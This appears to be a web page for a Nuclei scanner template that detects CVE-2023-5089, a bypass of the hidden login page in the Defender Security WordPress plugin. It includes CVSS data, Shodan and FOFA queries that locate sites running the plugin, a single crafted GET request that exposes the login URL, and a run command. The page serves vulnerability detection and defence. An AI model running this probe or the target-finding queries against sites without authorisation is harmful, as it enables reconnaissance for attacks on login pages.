Defender Security < 4.1.0 - Protection Bypass (Hidden Login Page)

ID: CVE-2023-5089

Severity: medium

Author: jpg0mez

Tags: cve,cve2023,wordpress,wpscan,wp-plugin,defender-security,redirect,wpmudev

Description

The Defender Security WordPress plugin before 4.1.0 does not prevent redirects to the login page via the auth_redirect WordPress function, allowing an unauthenticated visitor to access the login page, even when the hide login page functionality of the plugin is enabled.

YAML Source

id: CVE-2023-5089

info:
  name: Defender Security < 4.1.0 - Protection Bypass (Hidden Login Page)
  author: jpg0mez
  severity: medium
  description: |
    The Defender Security WordPress plugin before 4.1.0 does not prevent redirects to the login page via the auth_redirect WordPress function, allowing an unauthenticated visitor to access the login page, even when the hide login page functionality of the plugin is enabled.
  remediation: Fixed in 4.1.0
  reference:
    - https://www.sprocketsecurity.com/resources/discovering-wp-admin-urls-in-wordpress-with-gravityforms
    - https://wpscan.com/vulnerability/2b547488-187b-44bc-a57d-f876a7d4c87d/
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-5089
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
    cve-id: CVE-2023-5089
    epss-score: 0.00291
    epss-percentile: 0.69035
    cpe: cpe:2.3:a:wpmudev:defender_security:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: wpmudev
    product: defender_security
    framework: wordpress
    shodan-query: http.html:/wp-content/plugins/defender-security/
    fofa-query: body=/wp-content/plugins/defender-security/
    publicwww-query: "/wp-content/plugins/defender-security/"
  tags: cve,cve2023,wordpress,wpscan,wp-plugin,defender-security,redirect,wpmudev

http:
  - method: GET
    path:
      - "{{BaseURL}}/?gf_page=randomstring"

    matchers-condition: and
    matchers:
      - type: dsl
        dsl:
          - "!contains(tolower(location), 'wp-login.php')"

      - type: word
        part: header
        words:
          - '%2F%3Fgf_page%3Drandomstring&reauth=1'

    extractors:
      - type: kval
        kval:
          - location
# digest: 490a00463044022031c41158edfbfadb5bfb76494ac324a8be8ec3dc5443dc57d6f0bb7789eb01e5022064df39cc9a5beaf4abf0e0c2d3c9358cd5d0af3c54da05a8fc27b5260107df70:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2023/CVE-2023-5089.yaml"

View on Github